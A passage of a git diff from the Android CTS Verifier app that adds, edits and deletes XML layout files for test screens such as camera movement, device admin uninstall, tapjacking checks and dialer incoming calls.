+        <!-- Deliberately empty so that we can add camera preview to it dynamically-->
+        <LinearLayout
+                android:layout_width="match_parent"
+                android:orientation="vertical"
+                android:layout_weight=".5"
+                android:layout_height="0dp"
+                android:id="@+id/llCamera">
+        </LinearLayout>
+
+        <RelativeLayout
+                android:padding="4dp"
+                android:layout_width="match_parent"
+                android:orientation="vertical"
+                android:layout_weight=".5"
+                android:layout_height="0dp">
+
+            <include layout="@layout/verifier_buttons"/>
+
+            <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:textSize="17sp"
+                    android:layout_below="@+id/llPassFail"
+                    android:id="@+id/tvObjective"/>
+
+            <TextView
+                    android:layout_below="@+id/tvObjective"
+                    android:paddingTop="20dp"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:id="@+id/tvTranslations"/>
+
+            <TextView
+                    android:paddingTop="4dp"
+                    android:layout_below="@+id/tvTranslations"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:id="@+id/tvMarkers"/>
+        </RelativeLayout>
+    </LinearLayout>
+
+    <ImageButton
+            android:id="@+id/fabPlaceWaypoint"
+            android:layout_width="70dp"
+            android:layout_height="70dp"
+            android:layout_alignParentBottom="true"
+            android:layout_alignParentRight="true"
+            android:layout_margin="16dp"
+            android:background="@drawable/round_button"
+            android:src="@drawable/ic_place_white_24dp"/>
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout-port/fragment_complex_movement.xml b/apps/CtsVerifier/res/layout-port/fragment_complex_movement.xml
new file mode 100644
index 0000000..d2c40c7
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-port/fragment_complex_movement.xml
@@ -0,0 +1,52 @@
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:layout_height="match_parent"
+                  android:orientation="vertical">
+
+        <!-- Deliberately empty so that we can add camera preview to it dynamically-->
+        <LinearLayout
+                android:layout_width="match_parent"
+                android:orientation="vertical"
+                android:layout_weight=".5"
+                android:layout_height="0dp"
+                android:id="@+id/llCamera">
+        </LinearLayout>
+
+        <RelativeLayout
+                android:padding="4dp"
+                android:layout_width="match_parent"
+                android:orientation="vertical"
+                android:layout_weight=".5"
+                android:layout_height="0dp">
+
+            <include layout="@layout/verifier_buttons"/>
+
+            <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:textSize="17sp"
+                    android:layout_below="@+id/llPassFail"
+                    android:id="@+id/tvObjective"/>
+
+            <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:layout_below="@+id/tvObjective"
+                    android:id="@+id/tvRings"/>
+
+        </RelativeLayout>
+    </LinearLayout>
+
+    <ImageButton
+            android:id="@+id/fabPlaceWaypoint"
+            android:layout_width="70dp"
+            android:layout_height="70dp"
+            android:layout_alignParentBottom="true"
+            android:layout_alignParentRight="true"
+            android:layout_margin="16dp"
+            android:background="@drawable/round_button"
+            android:src="@drawable/ic_place_white_24dp"/>
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout-port/fragment_robustness.xml b/apps/CtsVerifier/res/layout-port/fragment_robustness.xml
new file mode 100644
index 0000000..b825082
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-port/fragment_robustness.xml
@@ -0,0 +1,61 @@
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:layout_height="match_parent"
+                  android:orientation="vertical">
+
+        <!-- Deliberately empty so that we can add camera preview to it dynamically-->
+        <LinearLayout
+                android:layout_width="match_parent"
+                android:orientation="vertical"
+                android:layout_weight=".5"
+                android:layout_height="0dp"
+                android:id="@+id/llCamera">
+        </LinearLayout>
+
+        <RelativeLayout
+                android:padding="4dp"
+                android:layout_width="match_parent"
+                android:orientation="vertical"
+                android:layout_weight=".5"
+                android:layout_height="0dp">
+
+            <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:textSize="17sp"
+                    android:layout_below="@+id/llPassFail"
+                    android:id="@+id/tvObjective"/>
+
+            <TextView
+                    android:layout_below="@+id/tvObjective"
+                    android:paddingTop="20dp"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:id="@+id/tvTimer"/>
+
+            <TextView
+                    android:id="@+id/tvPassColour"
+                    android:layout_width="match_parent"
+                    android:layout_height="50dp"
+                    android:layout_marginTop="50dp"
+                    android:layout_below="@id/tvTimer"
+                    android:background="@color/green"/>
+
+            <include layout="@layout/verifier_buttons"/>
+
+        </RelativeLayout>
+    </LinearLayout>
+
+    <ImageButton
+            android:id="@+id/fabPlaceWaypoint"
+            android:layout_width="70dp"
+            android:layout_height="70dp"
+            android:layout_alignParentBottom="true"
+            android:layout_alignParentRight="true"
+            android:layout_margin="16dp"
+            android:background="@drawable/round_button"
+            android:src="@drawable/ic_place_white_24dp"/>
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/activity_cts.xml b/apps/CtsVerifier/res/layout/activity_cts.xml
new file mode 100644
index 0000000..ef1459e
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/activity_cts.xml
@@ -0,0 +1,12 @@
+<RelativeLayout
+        xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_height="match_parent"
+        android:layout_width="match_parent"
+        android:keepScreenOn="true">
+
+    <FrameLayout
+            android:id="@+id/contentFragment"
+            android:layout_width="fill_parent"
+            android:layout_height="fill_parent"/>
+
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/activity_start.xml b/apps/CtsVerifier/res/layout/activity_start.xml
new file mode 100644
index 0000000..e7e7273
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/activity_start.xml
@@ -0,0 +1,25 @@
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:paddingLeft="@dimen/activity_horizontal_margin"
+                android:paddingRight="@dimen/activity_horizontal_margin"
+                android:paddingTop="@dimen/activity_vertical_margin"
+                android:paddingBottom="@dimen/activity_vertical_margin"
+                tools:context=".StartActivity">
+
+    <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_centerHorizontal="true"
+            android:id="@+id/tvDesc"
+            android:text="@string/overall_instructions"/>
+
+    <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_below="@+id/tvDesc"
+            android:layout_centerHorizontal="true"
+            android:id="@+id/btnStart"
+            android:text="@string/start"/>
+
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/aware_main.xml b/apps/CtsVerifier/res/layout/aware_main.xml
new file mode 100644
index 0000000..900fd69
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/aware_main.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+>
+
+    <FrameLayout
+        android:layout_width="fill_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="1.0"
+    >
+
+        <ScrollView android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:layout_weight="1"
+        >
+            <TextView android:id="@+id/aware_info"
+                      android:layout_width="match_parent"
+                      android:layout_height="wrap_content"
+                      style="@style/InstructionsFont"
+            />
+        </ScrollView>
+
+        <ProgressBar
+            android:id="@+id/aware_progress"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:indeterminate="true"
+            android:layout_gravity="center"
+            android:visibility="gone"
+        />
+    </FrameLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/bu_main.xml b/apps/CtsVerifier/res/layout/bu_main.xml
deleted file mode 100644
index 2289fee..0000000
--- a/apps/CtsVerifier/res/layout/bu_main.xml
+++ /dev/null
@@ -1,44 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-         android:orientation="vertical"
-         android:layout_width="match_parent"
-         android:layout_height="match_parent"
-         >
-         
-    <ListView android:id="@+id/android:list"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_weight="1"
-            />
-            
-    <TextView android:id="@id/android:empty"
-           android:gravity="center"
-           android:layout_width="match_parent"
-           android:layout_height="wrap_content"
-           android:layout_weight="1"
-           android:text="@string/bu_loading"
-           />
-
-    <Button android:id="@+id/generate_button"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/bu_generate"
-            />
-
-    <include layout="@layout/pass_fail_buttons" />
-
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/bu_preference_row.xml b/apps/CtsVerifier/res/layout/bu_preference_row.xml
deleted file mode 100644
index c37eece..0000000
--- a/apps/CtsVerifier/res/layout/bu_preference_row.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<TextView xmlns:android="http://schemas.android.com/apk/res/android"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:textSize="18sp"
-        android:padding="5dp"
-        />
diff --git a/apps/CtsVerifier/res/layout/bua_main.xml b/apps/CtsVerifier/res/layout/bua_main.xml
deleted file mode 100644
index e2d5ef1..0000000
--- a/apps/CtsVerifier/res/layout/bua_main.xml
+++ /dev/null
@@ -1,50 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-         android:orientation="vertical"
-         android:layout_width="match_parent"
-         android:layout_height="match_parent"
-         >
-
-    <ListView android:id="@+id/android:list"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_weight="1"
-            />
-
-    <TextView android:id="@id/android:empty"
-           android:gravity="center"
-           android:layout_width="match_parent"
-           android:layout_height="wrap_content"
-           android:layout_weight="1"
-           android:text="@string/bu_loading"
-           />
-
-    <Button android:id="@+id/generate_button"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/bua_read_settings"
-            />
-
-    <Button android:id="@+id/show_instructions_button"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/bua_show_instructions"
-            />
-
-    <include layout="@layout/pass_fail_buttons" />
-
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/cainstallnotify_item.xml b/apps/CtsVerifier/res/layout/cainstallnotify_item.xml
deleted file mode 100644
index 1359cb4..0000000
--- a/apps/CtsVerifier/res/layout/cainstallnotify_item.xml
+++ /dev/null
@@ -1,52 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2013 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content" >
-
-    <ImageView
-        android:id="@+id/ca_notify_status"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_alignParentLeft="true"
-        android:layout_alignParentTop="true"
-        android:layout_marginTop="10dip"
-        android:contentDescription="@string/pass_button_text"
-        android:padding="10dip"
-        android:src="@drawable/fs_indeterminate" />
-
-    <TextView
-        android:id="@+id/ca_notify_instructions"
-        style="@style/InstructionsSmallFont"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_alignParentRight="true"
-        android:layout_alignParentTop="true"
-        android:layout_toRightOf="@id/ca_notify_status" />
-
-    <Button
-        android:id="@+id/ca_notify_do_something"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_alignParentRight="true"
-        android:layout_below="@id/ca_notify_instructions"
-        android:layout_marginLeft="20dip"
-        android:layout_marginRight="20dip"
-        android:layout_toRightOf="@id/ca_notify_status"
-        android:text="@string/cacert_do_something" />
-
-</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/cainstallnotify_main.xml b/apps/CtsVerifier/res/layout/cainstallnotify_main.xml
index b5feeea..0c9765f 100644
--- a/apps/CtsVerifier/res/layout/cainstallnotify_main.xml
+++ b/apps/CtsVerifier/res/layout/cainstallnotify_main.xml
@@ -19,19 +19,35 @@
     android:layout_height="match_parent"
     android:orientation="vertical">
 
-
     <ScrollView
         android:id="@+id/ca_notify_test_scroller"
         android:layout_width="match_parent"
-        android:layout_height="0dp"
+        android:layout_height="match_parent"
         android:layout_weight="1"
+        android:fillViewport="true"
         android:orientation="vertical">
 
         <LinearLayout
-            android:id="@+id/ca_notify_test_items"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="vertical" />
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:fillViewport="true"
+                android:orientation="vertical">
+
+            <TextView
+                    android:id="@+id/test_instructions"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:padding="10dip"
+                    android:textSize="18dip"/>
+
+            <ListView android:id="@id/android:list"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content" />
+
+            <TextView android:id="@id/android:empty"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content" />
+        </LinearLayout>
     </ScrollView>
 
     <include
diff --git a/apps/CtsVerifier/res/layout/companion_test_main.xml b/apps/CtsVerifier/res/layout/companion_test_main.xml
new file mode 100644
index 0000000..ad4fbdf
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/companion_test_main.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    style="@style/RootLayoutPadding"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical">
+
+        <RelativeLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" >
+
+            <ImageView
+                android:id="@+id/status"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_alignParentLeft="true"
+                android:layout_alignParentTop="true"
+                android:layout_marginTop="10dip"
+                android:padding="10dip" />
+
+            <TextView
+                android:id="@+id/instructions"
+                style="@style/InstructionsSmallFont"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_alignParentTop="true"
+                android:layout_toRightOf="@id/status"
+                android:text="@string/companion_test_info" />
+
+            <Button
+                android:id="@+id/button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_below="@id/instructions"
+                android:layout_marginLeft="20dip"
+                android:layout_marginRight="20dip"
+                android:layout_toRightOf="@id/status"
+                android:text="@string/go_button_text" />
+        </RelativeLayout>
+
+        <include layout="@layout/pass_fail_buttons" />
+    </LinearLayout>
+
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/da_tapjacking_overlay_activity.xml b/apps/CtsVerifier/res/layout/da_tapjacking_overlay_activity.xml
new file mode 100644
index 0000000..5583fce
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/da_tapjacking_overlay_activity.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2017 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:background="@drawable/border"
+              android:padding="8dp" >
+
+    <TextView android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:textColor="@android:color/black"
+              android:text="@string/da_tapjacking_overlay_app_description" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/da_tapjacking_test_main.xml b/apps/CtsVerifier/res/layout/da_tapjacking_test_main.xml
new file mode 100644
index 0000000..2ee9ea9
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/da_tapjacking_test_main.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    style="@style/RootLayoutPadding"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical">
+
+        <!-- Enable device admin -->
+        <RelativeLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" >
+
+            <TextView
+                android:id="@+id/admin_tapjacking_instructions"
+                style="@style/InstructionsSmallFont"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_alignParentTop="true"
+                android:text="@string/da_tapjacking_instructions" />
+
+            <Button
+                android:id="@+id/enable_admin_overlay_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_below="@id/admin_tapjacking_instructions"
+                android:layout_marginLeft="20dip"
+                android:layout_marginRight="20dip"
+                android:text="@string/da_tapjacking_button_text" />
+        </RelativeLayout>
+
+        <include layout="@layout/pass_fail_buttons" />
+    </LinearLayout>
+
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/da_uninstall_test_main.xml b/apps/CtsVerifier/res/layout/da_uninstall_test_main.xml
new file mode 100644
index 0000000..0415100
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/da_uninstall_test_main.xml
@@ -0,0 +1,138 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    style="@style/RootLayoutPadding"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical">
+
+        <!-- Install device admin -->
+        <RelativeLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" >
+
+            <ImageView
+                android:id="@+id/install_admin_status"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_alignParentLeft="true"
+                android:layout_alignParentTop="true"
+                android:layout_marginTop="10dip"
+                android:padding="10dip" />
+
+            <TextView
+                android:id="@+id/install_admin_instructions"
+                style="@style/InstructionsSmallFont"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_alignParentTop="true"
+                android:layout_toRightOf="@id/install_admin_status"
+                android:text="@string/da_install_admin_instructions" />
+
+            <Button
+                android:id="@+id/install_device_admin_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_below="@id/install_admin_instructions"
+                android:layout_marginLeft="20dip"
+                android:layout_marginRight="20dip"
+                android:layout_toRightOf="@id/install_admin_status"
+                android:text="@string/da_install_admin_button_text" />
+        </RelativeLayout>
+
+        <!-- Enable device admin -->
+        <RelativeLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" >
+
+            <ImageView
+                android:id="@+id/enable_admin_status"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_alignParentLeft="true"
+                android:layout_alignParentTop="true"
+                android:layout_marginTop="10dip"
+                android:padding="10dip" />
+
+            <TextView
+                android:id="@+id/enable_admin_instructions"
+                style="@style/InstructionsSmallFont"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_alignParentTop="true"
+                android:layout_toRightOf="@id/enable_admin_status"
+                android:text="@string/da_enable_admin_instructions" />
+
+            <Button
+                android:id="@+id/enable_device_admin_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_below="@id/enable_admin_instructions"
+                android:layout_marginLeft="20dip"
+                android:layout_marginRight="20dip"
+                android:layout_toRightOf="@id/enable_admin_status"
+                android:text="@string/da_enable_admin_button_text" />
+        </RelativeLayout>
+
+        <!-- Uninstall device admin -->
+        <RelativeLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" >
+
+            <ImageView
+                android:id="@+id/uninstall_admin_status"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_alignParentLeft="true"
+                android:layout_alignParentTop="true"
+                android:layout_marginTop="10dip"
+                android:padding="10dip" />
+
+            <TextView
+                android:id="@+id/uninstall_admin_instructions"
+                style="@style/InstructionsSmallFont"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_alignParentTop="true"
+                android:layout_toRightOf="@id/uninstall_admin_status"
+                android:text="@string/da_uninstall_admin_instructions" />
+
+            <Button
+                android:id="@+id/open_app_details_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_below="@id/uninstall_admin_instructions"
+                android:layout_marginLeft="20dip"
+                android:layout_marginRight="20dip"
+                android:layout_toRightOf="@id/uninstall_admin_status"
+                android:text="@string/da_uninstall_admin_button_text" />
+        </RelativeLayout>
+
+        <include layout="@layout/pass_fail_buttons" />
+    </LinearLayout>
+
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/dialer_hun_on_incoming.xml b/apps/CtsVerifier/res/layout/dialer_hun_on_incoming.xml
new file mode 100644
index 0000000..9082c3c
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/dialer_hun_on_incoming.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+  <TextView
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/dialer_shows_hun_test"/>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+        android:id="@+id/set_default_dialer_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginRight="@dimen/js_padding"
+        android:src="@drawable/fs_indeterminate"/>
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_shows_hun_test_instructions"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <Button
+      android:id="@+id/set_default_dialer"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_set_default_dialer_button"/>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <TextView
+        android:id="@+id/dialer_shows_hun_explanation"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_shows_hun_explanation"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <CheckBox
+        android:id="@+id/dialer_shows_hun_check_box"
+        android:text="@string/dialer_shows_hun_check_box"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
+  </LinearLayout>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+        android:id="@+id/restore_default_dialer_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginRight="@dimen/js_padding"
+        android:src="@drawable/fs_indeterminate"/>
+    <TextView
+        android:id="@+id/restore_default_dialer_text"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_restore_default_dialer_description"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <Button
+      android:id="@+id/restore_default_dialer"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_restore_default_dialer_button"/>
+
+  <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/dialer_incoming_call.xml b/apps/CtsVerifier/res/layout/dialer_incoming_call.xml
new file mode 100644
index 0000000..c22df15
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/dialer_incoming_call.xml
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
